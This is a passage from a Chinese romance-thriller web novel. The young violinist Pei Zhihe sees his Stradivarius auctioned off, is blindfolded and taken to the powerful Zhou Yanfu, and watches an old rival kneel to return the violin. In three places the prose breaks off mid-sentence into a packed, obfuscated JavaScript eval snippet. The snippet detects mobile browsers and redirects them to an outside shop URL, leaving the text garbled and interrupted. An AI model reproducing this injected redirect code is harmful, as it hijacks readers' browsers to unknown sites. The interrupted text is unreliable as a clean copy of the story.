他怎么能不颤栗,一个羽翼薄弱的小孩,拥有了多少大师也未能拥有的名琴。他怎么能不妄想,妄想这样名贵的礼物,含着一分除却欣赏、提携、友情之外的情谊? “……二战后曾下落不明,后历经数代匿名藏家……” 收藏拍卖讲究“流传有序”,亦即代代来历呈线性可追溯,然而裴枝和却是越听眉头蹙得越深。不对,不对……通通都不对。拍卖师介绍这份来历,根本就是胡编乱造子虚乌有。 他悚然明白过来,这把琴从现在起,从历史上来说就已经和他无关。也就是说,即使他刚刚站起来要求物归原主,也只会被认为是突发狂疾的疯子。 随着介绍结束,起拍价在屏幕上亮起——一千万欧起价,五十万一手。 偌大的会堂顿时陷入了诡异的安静中。 各位买家的手机上,陆续蹦出了场外拍卖顾问的消息: 「不可能。」 「what?」 「这真是闻所未闻。」 「您是否确定?这个起拍价已经直逼斯氏琴可追溯的公开拍卖最高成交价!」 「简直是天方夜谭!」 …… 一时间,为名琴蠢蠢欲动摩拳擦掌的大佬们,都偃旗息鼓了。绝对会流拍——所有人心里都响起这道声音,然而离奇的是,居然有人举牌了! ——周阎浮懒洋洋抬腕,黑色衬衣袖口下的蓝宝石精钢腕表随着动作一闪:“两千万。” 所有人:“!!!” 裴枝和差点跳起来。这人疯了?就算要把东西拍回来,也不用起手就翻倍吧?万一其实根本没人要,一千五十万就能得手呢?!他完了,两千万欧!绝对不会有人接盘!他绝对就是今晚最大的冤大头! 裴枝和压抑音量怒道:“你别以为我会对你感恩戴德。” 周阎浮不知道是逗他还是真的:“你继父母欠了我两亿,你们香港人不是有句名言,叫做‘一家人就要整整齐齐’?你也别落后了。” 裴枝和:“……” 拍卖师举槌欲敲:“两千万欧一次,两千万欧两次,两千万欧——二十三号!二十三号藏家是要出价吗?两千零五十万欧!” 居然有人跟进了?!一时间,所有人齐刷刷回头望去,看是何方神圣。持二十三号牌的是个其貌不扬的年轻人,裴枝和从没注意过到。 周阎浮安稳坐着:“三千万。” 裴枝和又差点跳起来,甚至想把号码牌抢过来。这人会不会拍卖!!! 会场所有人的内心跟裴枝和一样,但比起来,更有一层被冒犯的怒意。不错,这里哪个人谁不是非富即贵?但也没人会拿欧元当冥币用! 周阎浮仿佛才想起来似的确认:“你刚刚的意思是,如果我帮你拍回来,你真的不打算感恩戴德?” 裴枝和双手环胸,闭着眼睛冷哼一声:“本来就是我的东西,本来就是因为你才丢的。” 周阎浮转过脸去,认真看了会他被灯辉勾勒出星芒的发梢、前额和鼻尖,轻笑一声:“不错,你这张脸,就该说这么高傲刻薄不知好歹的话。” 裴枝和被噎了一下,愠怒还没发作,便被紧随其后的报价声夺去了注意力。 二十三号声音弱弱的:“三千零五十万。” 全场:“……” 已经不知道是谁戏弄谁,谁侮辱谁了。一口就加码一千万固然不可一世,但每手只加五十也颇有从容猎鹿之感。 裴枝和已看不懂局势,甚至没了紧张。天文数字带来的不真实感如此巨大,吞没了他其余一切痛苦,亦或者是帮助他的大脑开启了自我保护机制。他都快忘了这是他丢了的琴。 他身边的男人根本没有收手打算,再度举牌:“四千万。” 四千万欧!这已经数倍于斯氏琴最高成交价!一时间,所有目光再度聚焦于那个二十三号年轻人。还跟吗?一掷千金事小,但这么公然抢走那个男人心仪之物,就不怕得罪他? 二十三号年轻人吞咽了一口:“四千零五十万。” 所有人包括拍卖师都陷入了疯狂! 然而周阎浮云淡风轻,不拿钱当钱:“五千。” 空气凝固,连咳嗽都憋在了喉咙里。诸人已换了个猜测,难道这人是想戏弄路易,故意哄抬高价?这个猜想比刚刚更令人毛骨悚然,再看向二十三号时,已经宛如看待一具尸体。毫无疑问,这个苍白平庸的青年是被人推出来的牺牲品,连怎么死的都不知道呢。 可怜的孩子。 虔诚的贵妇和绅士们忍不住在心口划起十字。 卢锡安放下了翘着的两腿,身体也从椅背上离开,因为帕金森而颤抖的手抖得更厉害了,西服下的衬衫早已透明。 二十三号年轻人正在等待他的暗示,好决定是否继续跟。 过了数秒。二十三号再次举牌,咬着牙,垂着头,明明在追价,却像只斗败的公鸡:“五千零五十。” 够了。我说,够了……裴枝和紧闭双眼。他愿意用命来换这把琴,却不代表想看到有人为他花五千万欧赎回,因为这代表着对方所图远胜他烂命一条。 一向举牌果决的男人,此时也罕见地停顿片刻,用只有裴枝和才能听到的音量说:“再问你一遍,就算我帮你拍回了这把琴,你也不会感激我。” 裴枝和:“绝对。” 周阎浮:“既然如此,那我就不吃力不讨好了。” 裴枝和:“?” 哈? 在男人突如其来的收手之下,这场让人冷汗直冒的拍卖终于来到了尾声。拍卖师响亮落槌,这把斯特拉迪瓦里以五千零五十万欧元的成交额易主, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814554|190489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 创下历史之最! 全场沸腾,竞相去祝贺这个虎口夺食的年轻人,同时也恭喜埃莉诺夫人。毕竟,这拍卖会上发生的一切都是夫人的荣光。然而与夫人的满面春风相比,这个年轻人却苍白呆滞,浑然没有拍回无价之宝的喜悦。 卢锡安颓然塌腰,脊椎像被卸去一节。 喧嚣中,独有裴枝和立在原地,既没有动作也没有表情。结束了,一切的荒诞都结束了。这不是戏,而是众目睽睽下的现实。他突发的善意,真的让他丢了商陆送他的琴。 裴枝和扯了扯嘴角,讥笑自己。这算什么?好人没好报?可能他救的人是撒旦化身十恶不赦吧,所以救了他的他,报应也来得很快。 可是,报应到他身上啊!为什么不报应到他身上?琴又何辜…… “抱歉。”周阎浮站起身,目光意味深长地停在裴枝和脸上:“没能履行诺言。” 裴枝和捏紧了双拳:“没什么,是我咎由自取。” “什么意思?” “是我救你的活该。” 他不肯看周阎浮,目光撇在别处,也就没看到这一句后这个男人僵硬抿直的唇角。 “你的意思是,”周阎浮顿了顿,“如果能再来一次,你宁愿看我死得千疮百孔,也要救琴。” 裴枝和转过脸,一股迁怒终于不可遏止:“当然。这把琴对我的价值你懂什么,而周先生你对我又算什么。” 他这么尖酸怨怼大逆不道的态度,居然没有让周阎浮发怒。周阎浮看他良久,似乎在品尝他的无能狂怒,继而静静地哼笑了一声:“可惜,再怎么意义非凡,你的琴也已经不属于你了。” 裴枝和仰面,水晶灯辉下的眼皮薄而颤动,如蝉翼。再睁眼,他看向众星拱月的二十三号年轻人,走过去,做了一个让周阎浮暴怒到面无表情的举动—— 裴枝和微微鞠躬,彬彬有礼地问:“不知道日后,我是否有这个荣幸演奏这把小提琴?” 就连看热闹的奥利弗也不得不感慨:“没想到他这么高傲的人,为了把琴肯这么放下身段。” 周阎浮脸色剧变,气息促了一促才稳住。 埃莉诺夫人笑问:“我记得你用的也是斯氏琴。不知道你那把斯氏琴与今天这把,谁的音色更胜一筹?” 这是多么荒诞讽刺的一问。裴枝和啼笑皆非,捏紧了双拳。沉默中,一道声音强势地插入:“山不在高,有仙则灵。琴对艺术家来说也是如此,灵魂的契合才是第一位。” 是周阎浮。 众人自动为他让开一片空地。周阎浮却毫无寒暄兴致,只是冷冷地略行点头示意,示意奥利弗:“枝和先生的专车已经到门口,是时候送他回去了。” 奥利弗的手像铁钳,以不容拒绝的姿态将裴枝和带离了社交场。在强行把他塞上车前,裴枝和扶着车门,在堂堂拉文内尔家的大门口吐了个天翻地覆。 奥利弗挠头:“吃坏肚子了?” 裴枝和浑不在意地用西装袖口擦嘴:“是,拉文内尔的食物太硬,我没本事消化。” 奥利弗对他的讽刺耸耸肩,“虽然你这样,但我可不会怜香惜玉。” 果然,他还是动作强硬地将他扭松上了车。但吐过后的裴枝和倒也没表现出什么抵抗情绪,只是淡淡地看着窗外夜景。 奥利弗从后视镜瞥他:“你就一点也不怕路易?” “大不了开枪把我打死。”裴枝和一种活也行不活也行的姿态。 “哦,那不止。”奥利弗扶着方向盘:“在打死你之前,还可以先把你卖到中东,卖屁股,割器官,做人体实验,做暗网猎奇直播,改造你的精神和灵魂,直到玩腻了再杀。” 裴枝和:“……” 奥利弗转过头眨眼:“骗你的,我们是好人。” 话虽如此,当发现窗外的夜景开始第三遍重复时,裴枝和还是显然紧张了起来。这个美国金毛根本没开在去他公寓的路上,而是一直绕着埃莉诺的房子兜圈子! “你什么意思?” 奥利弗终于感到了一丝有趣:“还以为你要第五遍才发现。” “放我下去!” “车门没锁,你跳跳看。” “你——!” “路易说得没错,任何可能伤到你双手的事情,你都不会冒险。” 车窗降下,高速行驶带来的疾风呼啦灌入车厢,吹乱了裴枝和的头发和领带。然而翻飞的领带上,却是一张苍白但镇定平静的脸。 奥利弗心中暗暗赞叹,有胆识! “你们赌赢了。”裴枝和握紧了双膝之上的双拳,“说吧,你们想干什么?” 奥利弗吹了声口哨:“他说了,只要你的琴还没有回到你身边,这个夜晚就不能结束。” 当晚,当午夜钟声敲响,当卢锡安带着琴低眉顺眼地出现在周阎浮卧室门口时,看到的是这个深不可测的男人手持红酒杯深陷沙发,黑色浴袍微敞,而他身边衬衣凌乱的,则赫然是晚宴上大方异彩又矜贵清冷的青年演奏家——裴枝和。 10.第 10 章 车停稳,奥利弗不客气地束住了裴枝和的双手,蒙住了他的眼睛也封住了他的嘴巴。也许是他大发善心,他捆住裴枝和双手的力道要轻柔很多,仿佛怕伤了。裴枝和咒骂了几句,奥利弗用小拇指捅捅耳朵,诚恳道:“真不卖你。” 透过黑布条,裴枝和知道自己一直行进在灯光下。脚下的地毯触感也始终未断。不知道几分钟后,在背后推着他的那只手消失了,他站在原地,等待下一步的指令。 但周围安静得像一座坟茔。 “喂?” 没有人回答他,也没有一丝一毫的动静,甚至呼吸。 奥利弗退开一步的动作轻巧如猫。 周阎浮身上还穿着晚宴上那一袭黑色衬衣,默不作声而静止地半倚酒柜,先是关照了一番裴枝和手腕上的绳子,确认没有伤到他,继而缓慢地抬起目光,逐寸地以他衬衣扣子为中轴线往上。裴枝和下车时发了一通脾气,西服早不知道甩到哪里,领带也丢了,衣襟半敞着,颈线干净,惹人遐想。 周阎浮在他喉结上停了停,眼眸半暗。 那里的味道,没人比他更懂。 奥利弗维持着一个顶级雇佣兵的警戒和冷漠,但心里已经乱想开了。以他对周阎浮这么多年的了解,这人对玩屁股没兴趣,否则此刻的眼神不会还如此冷静抽离。但话又说回来了,他应该也对古典乐不感兴趣才对…… 他不知道,周阎浮看待裴枝和如看艺术品。 不得不承认,虽然奥利弗绑人的手法依然粗暴,但放在裴枝和身上却很合适。蒙在双眼上的黑布条与他冷白色的皮肤产生了极强的对比。那是一种纯粹、匀停的白,像瓷器,让人忍不住想上手,与一切黑都相得益彰,以至于连牢牢贴住他嘴巴的黑色胶带,都显得过分刺激感官了。 奥利弗眉眼一动,深受震撼地看着男人伸出了他戴黑色手套的左手,隔着五厘米的空气慢慢描摹他的脸,缓慢得甚至让人感到了一丝郑重。 一丝没来由的心悸让裴枝和突然往后退了一步。 仅仅只是一步。 砰的一声轻响。与陌生躯体的碰撞穿透了四肢百骸,直抵头脑和心脏,令他头晕眼花,令他心脏狂跳。 他背后的那具躯体坚实而强悍,似乎对此无动于衷。烟草味混合着某种独特的香,从他纹丝不动的存在中透出来,掠夺裴枝和的呼吸。 裴枝和吞咽了一下,从封住的嘴巴里发出一个含糊单词。在场两人都听出了他念的是奥利弗的名字。 原来他以为是奥利弗? 周阎浮没应声,双手虚拢着裴枝和的双肩而始终没放上去,低头,气息短暂地拂过他的右耳,继而眼神一压,抬手—— 唰的一声,黑胶带被他毫不留情地一把扯下。 裴枝和还没来得及呼痛,便感到嘴角被他指腹一抹。 一丝因为嘴巴封住而被迫泌出的津液,晶莹地湿润在周阎浮的手指上。 他眯了眯眼,不知道想到了什么,接着果断而流畅地后撤一步靠回了酒柜上,递了一个眼神给奥利弗。 奥利弗:“?” 当初雇他的时候没说还有这一出啊? 但没办法,替雇主善后是他的天职,他只好一边骂娘,一边扯开裴枝和眼上的布条。 裴枝和把刚刚那些都算到了他头上,震惊、嫌恶而不敢置信地瞪着他:“变态!!!!” 奥利弗:“?” 真正的始作俑者发出了一声轻笑。 裴枝和这才注意到半歪身子倚在吧台的男人,灯光下,身旁一瓶威士忌流淌着琥珀色光泽,将他脸上的戏谑映照得晃眼。 裴枝和心跳一慌,将头一扭,没打招呼。 周阎浮倒不在意他的没礼貌,翘了翘唇角,装大尾巴狼主持公道:“谁准许你碰他的?” 奥利弗指指自己,头顶冒出了一连串问号。 周阎浮下巴轻抬:“以礼待人,向枝和小姐道歉,顺便把他的手也解了。” 奥利弗唯命是从,一抽绳结,解放了裴枝和双手。 “啪!”的一声,几乎是无缝衔接的,他脸上浮出了一个火辣辣的手掌印。 奥利弗:“……” 这一巴掌固然轻如蚊子咬,但雇主的笑声却实在令人心寒。奥利弗面无表情听周阎浮提醒:“还有道歉呢?” “不用了。”裴枝和高抬下巴:“这一巴掌就是我拿的歉礼。” 周阎浮眸中的欣赏丝毫不加掩饰,问了一个和奥利弗同样的问题:“你好像一点也不怕我?” 裴枝和讥诮道:“一个连性别都看不清的瞎子,有什么好怕的?” 周阎浮状似恍然大悟,看他的目光更柔和了一分:“还是这么牙尖嘴利。” “还是?”裴枝和眉心透出疑惑。 周阎浮没理他,吩咐奥利弗出去。 奥利弗跟了周阎浮六年,出生入死,同生共死,必要时替他去死,深知他们这种刀口舔血的人是没有资格豢养任何东西的,哪怕只是一只鸟。但从上次他放过赵师傅一命开始,他对这男人的判断开始动摇。 出门前,奥利弗意味深长地再度看了眼裴枝和。 也许,周阎浮有自己的计划。这个男人经历过比他更血腥的试炼,有着比他更果断的杀伐和更严密警惕的心机,没有任何道理会突然变昏聩。 裴枝和扫视屋子,心头一惊——无论是朝向、布局还是家具,这个房间都与下午被子弹打烂了的那间别无二致。 周阎浮递过去一杯威士忌:“欢迎参观我的卧室——第二次。”” 裴枝和立刻接过酒杯,在掌心严严实实地握着。刚刚那一巴掌把他自己也给打疼了,正需要冰冰凉凉舒服一下。扭走脸嘟囔一句:“谁想看你卧室了,我明明是被绑架来的。” “不错,不过鉴于我是你父母最大的债主,又为你的琴一掷五千万欧,你站在这里倒也是应该的。”说完,清脆一声,他往裴枝和杯里又丢下一块冰。 裴枝和一脸不敢置信:“什么五千万欧?你又没付!!!” 你不就举了几次牌动了几下嘴皮子吗! “看来你还是不信琴会回来。” “周先生看来是该就寝了,否则怎么会这么梦到哪句说哪句?” “既然这样,那就赌一把。”周阎浮目光锁着他,“要是输了,我就真的给你打五千万欧。” 裴枝和疑心病重:“那要是你赢了呢?” “这个,”周阎浮意有所指地停顿:“就要看枝和先生身上有什么值得我要的东西了。” 裴枝和心中警铃大作:“我不玩那个。” “哪个?” “明知故问。”裴枝和大方磊落:“你对我跟别人不一样,不是另有居心?” “所以难怪你不怕我。”周阎浮不置可否,顺着他的话促狭起来:“原来是恃宠而骄。” “你——” “那也不妨等我真宠了你什么再说。” “……” 裴枝和被他噎住,又实实在在被他口头占了便宜,不吭声了,高傲地转过脸去,手温将威士忌杯里的冰块捂化。 “所以,赌吗?” “好啊,为什么不赌?我等着收五千万了。” “君无戏言。”周阎浮将杯中酒一饮而尽,抬腕看了眼表:“离开场还有段时间,我先洗个澡,你自便。” 又示意了一下裴枝和手里那杯酒:“放心喝,我从不趁人之危。” 裴枝和没接茬,想走到窗边吹风,又想起白天那美国佬破窗而入的动静,打了个冷战,默默地往回挪了一步。 “你等会——” 周阎浮脚步顿了顿。 裴枝和咬牙:“你确定这里安全吗?不会有人再进来乱扫一通?等等,你那些仇家都知道你长什么样吗?你放我在这里,不会是为了当你替死鬼吧?” 周阎浮:“……” 周阎浮:“你提醒得很对,这里唯一安全的地方就是……” 裴枝和竖耳倾听。 “浴室。” “……” 周阎浮径自往前:“怕死的话,就跟上。” ……真的怕。 裴枝和诚实得很,几步追到他身边。 周阎浮没骗他,他洗澡的地方真有安保。不仅有一道暗门将之与卧室会客厅隔开,还有使用了生物识别技术的门禁。裴枝和心中费解,外界都说他出身高贵神秘,高不可攀,他现身时的排场也确实如此,但风光之下,怎么会有这么多的仇家死敌? “你很惜命。”听上去阴阳怪气的。 周阎浮顿了顿:“因为活着很好。”’ 暗门关上,里头灯光随之亮起。这人富可敌国,却不似埃莉诺夫人那样品味繁复奢靡,整间浴室的陈设一目了然,但裴枝和见过世面,认出了这款大理石。它的唯一产地是意大利北部某座矿山,因产量少而奇货可居,被全球富豪疯狂追捧。……这人居然拿来砌浴室。 这间浴室实在太大太空,说话都有回音。跟这样的男人独处密室,裴枝和全身的神经都紧绷起来。 他有点后悔了,照理来说,此人才是他目前唯一的危险源头,他该远离他,而不是像现在这样。 裴枝和抿着唇,捏紧拳头,打定主意在周阎浮开口前他绝不再说一个字。 但周阎浮也没再说话,只是自顾自地脱衣。 裴枝和僵立着,目光落在别处,过了会儿又闭上了眼睛。 衣物陆续发出窸窣声响,当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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桑拿房里弥漫着一股木质淡香,两盏照明用的点状灯投下的金黄颜色的光晕下,男人只着黑色平角内裤,身披白色浴巾。因为闭目靠墙的缘故,他的五官与喉结都显得立体鲜明。上次令裴枝和深感震撼的后背隐于暗影,取而代之的,是身体块垒分明而雕刻感极强的线条。这一看就是大量实训后才有的肌肉,没有一寸多余的、中看不中用的饱满,写满了精悍利落。 裴枝和不看他的脸,也当然不敢看胸肌,看腹肌不太妥,再往下就真有点说不清了! 他的目光只好继续向下,停在了男人的大腿上。 ……只一眼,这视线就像被火燎了似匆忙地别开了。 男人最懂男人。男人的性能力靠的是臀腿肌群,而非腰腹。而这个男人的腿,包裹在西装裤下时是如此修长,实际看却……嗯,有点过于有爆发力了。 裴枝和莫名的又开始有点生气,视线没处放,只好一路到底看向了地板。地板有什么好看的?更生气了。 而且,他快热死了!!! 周阎浮睁开眼,看到的就是这样一幅画面。冰雪般剔透高贵的人,低眉顺眼地站在他面前,脸颊染上红,鬓角滑下汗。 他在为了谁低眉顺眼? “周先生,从认识至今我几次三番对你出言不逊,你是我继父和母亲共同债务的债主,又在音乐会上帮过我,无论如何我不该如此以德报怨。你宽宏大量,不和我计较,是我的荣幸。”这边裴枝和已然打好了腹稿,有条不紊目的明确地说了下去:“这把琴对我很重要,也许在你看来,我时而爱它胜过生命,时而又说放手就放手。其实是因为,它背后有我的一段缘份。琴丢,我就看作是上帝的旨意;琴回,我当作是往日纪念。我原本这样想得很清楚,但你一而再再而三地用它戏弄我,要挟我,刚刚又用最后通牒逼我不得不承认,我其实没有那么想得开。” 他一点也不怀疑周阎浮说的“过时不候”,假如他真的赌气不要,他真的会这辈子都再也见不到它,听不见它。 裴枝和停顿住,虽没抬头,但能明显感到男人的视线,如此灼热,如此沉冷。 他的身体已经湿汗淋漓,纯白衬衣有了透意,透明的水珠从他的鬓角、发梢、鼻尖、下巴、指尖滴下。眼眶被热气灼红了,给人以一种欲泣而强忍的脆弱感。 “我还是想要这把琴。这是我和我的青——” “出去。” 这一声十分严厉,极具压迫感。裴枝和愕然地抬起头去,撞见一张脸色难看没有表情的脸。 “不,我必须要说。”裴枝和重整旗鼓,“这是我的青——” “我说了,出去。” 11.第 11 章 裴枝和愣了愣,不知道他为什么突然说翻脸就翻脸。可能年纪大了吧。 有求于人,他姿态比之前稍好,躬身点了下头,也就这么不拖泥带水地出去了。 没过多久,周阎浮结束了一切,身上披了件黑色浴袍。他没再提刚刚的话,只说:“时间差不多了。” 客厅里,挟琴而来的人正在奥利弗黑洞洞的枪口下耐心等候。一分钟后,他和裴枝和将同时被对方震惊。 不错,看到身着浴袍明显刚沐浴过的男人,和衬衫软烂的裴枝和同时从浴室方向现身,卢锡安内心惊涛骇浪。而白发苍苍的他、无情的枪口与华贵的斯特拉迪瓦里,则构成了一副让裴枝和想破脑袋想不通的画面。 至于奥利弗…… “……” 卢锡安渐渐地将裴枝和与杀手口中的描述重合起来。杀手说,现场有一年轻人颇受周阎浮看重,不惜以自己身体为他挡子弹。此人年轻、纤细、漂亮,黑发白肤,东方面孔,窄脸尖颏,挑尾丹凤眼。如果是寻常人,自然不可能在高节奏的暗杀行动中捕捉这么多信息,但卢锡安的人个个训练有素。不过话说回来,这段话里有关“漂亮”的描述也实在太多了,以至于卢锡安甚至确认了一遍这人该不会是女扮男装。 卢锡安从未曾将这个年轻人和裴枝和联系上。但一旦重叠,卢锡安发现所有一切都说得通了。这把琴是这个小提琴家的!那么周阎浮和他……?可从未听说周阎浮有这方面癖好啊! 至于在裴枝和的视角,则完全是另一个故事。 拍卖会上拍走琴的明明是二十三号,和这个老人家有什么关系?难道,他看出来周阎浮对琴兴趣浓厚,于是为了讨好这位埃莉诺夫人的情人,便咬牙花了些手段或代价,从二十三号那里拿了来,特意来献宝? 一想通了一点,余下的便都想通了。难怪周阎浮笃定今晚会有人送琴上门,因为他知道多的是人想拍夫人马屁! 再联想到刚刚自己的诚恳驯顺,裴枝和简直气笑了。他怎么会以为一个贵妇的情人会有有什么了不得的手段! 就在这两人或推测或乱猜时,周阎浮和奥利弗已经完成了信息交换:卢锡安是单独来的,已被搜过身,琴也已被开箱检查过,一切无误。 瞬息之间,奥利弗从警戒切换为了待命,将枪别回腰后。 “晚上好,路易。”卢锡安将目光安分守己地收好。 周阎浮提起醒酒瓶,给自己倒了杯红酒:“真是稀客啊,卢锡安叔叔。” 卢锡安花白的头发抖了一下,脸上苦笑。 “这么晚过来,有什么事?” 按兵不动是高等猎人的姿态,但也着实让人恨得牙痒。 卢锡安将琴盒托于双手,毕恭毕敬地用法语译了个典:“我来完璧归赵。” 法国上流社会从封建王朝起就对中国文化痴迷非常,以至于甚至诞生出一个所谓“法式中国风”的审美派别。虽然这股东方热在现当代转为了对日本文化的追捧,但所有人都仍谨记了一点:路易·拉文内尔是一个中国通,要想和他投机,手里没点东方古国的存货是不行的。卢锡安认为自己这个“完璧归赵”使用得恰如其分。 裴枝和心道错了,这里该用“借花献佛”才对。他觉得这么卑躬屈膝的老人家有点可怜。有这心思来讨好一个贵妇的男宠,为什么不直接去讨好贵妇?众所周知,女人永远比男人热心肠。 会客厅里的安静有如实质,一秒换一年,让卢锡安低着的头重若千钧。 过了半晌,坐到暗红色真皮沙发上的男人缓缓开口,用波澜不惊的口吻说:“既然卢锡安叔叔连‘完璧归赵’都知道,那么一定也听过另一个典故了,叫做——负荆请罪。” 裴枝和内心一震。 接下来,周阎浮用简短的语言,为在场诸人讲述了这个故事。 “……于是,将军幡然醒悟,为了赔罪,他脱掉上衣,背上荆棘藤条,跪在了蔺相如上卿的门前,请他鞭笞自己。” 周阎浮顿了顿,暗绿色的目光垂睨而下,影子如山一般压下来:“这才是,登门谢罪的姿态。你说对吗?卢锡安叔叔。” 室内落针可闻。 斯氏琴在卢锡安手上发出阵阵不易察觉的抖动。 裴枝和几欲叫停这场让人于心不忍的侮辱,但奥利弗似笑非笑的目光却锁住了他,仿佛在警告他别轻举妄动。 噗通一声,像一袋石灰丢到地上的动静般,卢锡安双腿下跪。 裴枝和双目圆睁,用一种茫然和震惊看着卢锡安脱去西服,抽去领带,解开衬衣,工工整整地叠放到一旁后,再度双手奉琴,并将其举得比刚刚更高,低着头—— 膝行向前。 裴枝和眉心深皱,几乎怒目而视恨铁不成钢。 何必对一个男宠胆怯奴颜至此!!! 然而卢锡安就这么跪着一步步到了比他小二十多的后辈面前,身体前倾,屁股撅起,托琴的双臂贴地,就这么做出了一个五体投地的姿态。 “卢锡安·徳·拉文内尔,现将这把斯氏琴完璧归还于路易,并拍卖所花资费五千万欧,尽数归埃莉诺夫人基金会所有。”他大声颤抖着声线说:“恳请路易,不计前嫌,高抬贵手!” 谁都看见了,他白花花的、皮肉松弛布满老人斑的后背,已经是一片汗流。 然而,高高坐于沙发上的男人,依然没有立刻出声。 他姿态随意,一手横搭在红色沙发背上,另一手两指夹托红酒杯,垂眼,但不垂首,亦不低颈,目光藏在眼窝与睫毛投下的一片深邃浓影中。 这没有情绪的一眼,威慑性胜过卢锡安今天布下的杀机重重。 卢锡安跪得久了,膝盖骨传来尖锐的痛,两条大腿簌簌发抖,高举琴的双臂也肉眼可见的抖动。汗从他双鬓滑下,他看着眼底的地板纹路,眼眶圆瞪,瞳孔写满恐惧。 会被杀的。他在想什么?居然以为能随随便便就干掉这个男人。他的一举一动,根本从始至终都在他的预料和监视之中! “枝和小姐怎么说?” 突如其来的,周阎浮把这个问题抛给了裴枝和,像是突然的心血来潮。 小姐?卢锡安命悬一线了也还是八卦了一下。这真是女的?不对,到底女的男的? 裴枝和捏紧了双拳:“路易先生恃强凌弱狐假虎威也该有个度吧。” 周阎浮勾唇一笑,房间里那种压得人喘不过气的气氛消失了,他倾身放下酒杯:“既然如此,那么叔叔就请回吧。赵师父那边,也不劳您关照了,如果你再派人接近他女儿,我会不高兴。” 卢锡安像一条被钉死在砧板上的鱼,已连挣扎都不再挣扎。 这个男人果然什么都知道。他是杀不死,也不会输的。 零点的钟声敲响了,这个夜晚果然以这把琴回到裴枝和的手中为结束。 裴枝和根本不忍看卢锡安是如何哆嗦着指头将衬衣一颗纽扣一颗纽扣地扣回去的。走之前,他甚至对裴枝和友好地笑了一下,那笑里讪讪悻悻,怀着股懦弱的尴尬。 奥利弗送他下楼,走之前贴心地带上了门。 “拿回了你的心爱之物,你就这么副脸色?” 裴枝和一张脸雪白,嘴唇的血色也淡。 “就算他是来讨好你的,你又有什么必要这样侮辱他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一道闪电点亮了他的脑海,他抬起头,不敢置信地望向这个男人:“是你?琴是你放到拍卖会的,神不知鬼不觉,所以卢锡安怕了。拍卖会的抬价也是你故意的,因为你很不爽,仅仅只是把琴送回来已经不足以消弭你的坏心情。卢锡安完全读懂了你的意思,所以才会派人跟进,明面上是跟你竞拍,实际上是等你的价码。” “这五千万,是卢锡安的赎罪金,买命钱……”裴枝和喃喃自语。 这是何等隐秘又致命的交手,双方不必出面交谈,刹那间便过招无数,外人尚在雾里看花好热闹,胜负却早已分,生死也早已决。不仅如此,拍卖会上演精彩戏码,再加上五千万欧入账基金会,埃莉诺夫人也被哄了个心花怒放! 这一局,唯一的道具只是一把琴。甚至不是周阎浮自己的琴,而是一把因为裴枝和意外闯入而留下的琴。 裴枝和深深吸一口气,垂下头来。 “卢锡安是怎么在一句话都没问的情况下知道这么多的?”他不敢想象:“如果是我的话,大概已经死了。” 连怎么死都不知道的那种。 周阎浮眼尾微压:“?难道不是显而易见?” 又笃定加了一句:“不会。” “那希望你对待我时,可以更显而易见一点。”裴枝和诚恳又认真:“至少给我个明白。” “好。”周阎浮走近他身边,垂下这双猎手的眼。 那种像是他第二层皮肤的异香袭近了,在这深夜包裹着裴枝和。 “既然你这么要求了,那我就说得显而易见一点。” 裴枝和呼吸屏住,仰望他,喉结绷紧不敢吞咽。 “记住,这把琴,从此是我送给你的了。” ——他缓慢地、一字一句地说。 12.第 12 章 这天晚上,裴枝和是怎么被蒙着眼睛来的,就是怎么被蒙着眼睛送走的。临走前有什么重要的东西在他脑中一闪而过,但裴枝和没有抓住,也就作罢了。 回到公寓,他没开灯,坐在沙发上用手掌心搓了搓脸。 真是一言难尽的一天,谈不上失而复得的喜悦,反而总感觉像莫名被摆了一道。 “你终于回来了……” “我草。”裴枝和吓得从沙发上蹿起来。 灯一亮,艾丽顶着一头乱发幽怨地望着他:“你再不回来,我就要报警了。啊啊,但是人是在拉文内尔家消失的话,警察应该也没用吧……” 裴枝和:“你别讲得好像魔窟一样!” “嗯嗯。”艾丽点头,“所以宴会好玩吗?埃莉诺夫人怎么样?今天发生了什么?” 裴枝和:“阻止了一场暗杀,丢掉了琴,看着琴被人用五千万欧拍走,被绑架,看着琴被人跪着送回来,回家。” 艾丽:“……” “你还说不是魔窟!!!” “还好吧,”裴枝和淡定地说:“反正人没事,琴也没事。” “我有时候啊,觉得你宝贝手比宝贝命还要紧。”艾丽忍不住吐槽。他很宝贝手,但对自己活不活倒不是很上心。裴枝和死也要以双手完好灵巧的状态死去。 裴枝和若有所思:“你有听过一些西欧的都市传说吗?” “嗯?” “据说爱因斯坦的大脑,玛丽莲梦露的脸还是身体,都被欧美贵族秘密拍卖收藏了。” 艾丽仿佛一只弓背炸毛的猫:“大晚上不要讲这么惊悚的东西啊!” “所以如果保持着双手完好而死的话,说不定也会被收藏。”裴枝和低下头,看着自己的双手。 艾丽忍无可忍:“你信不信我现在就给你泡福尔马林!” 等等,她在这里耗了一晚上,可不是为了聊这些的。艾丽终于问出了关键:“所以呢,有没有见到周阎浮?” “嗯。”裴枝和没说今晚上这些事都是拜周阎浮所赐,毕竟人命关天,说出来对周阎浮对艾丽都不安全。 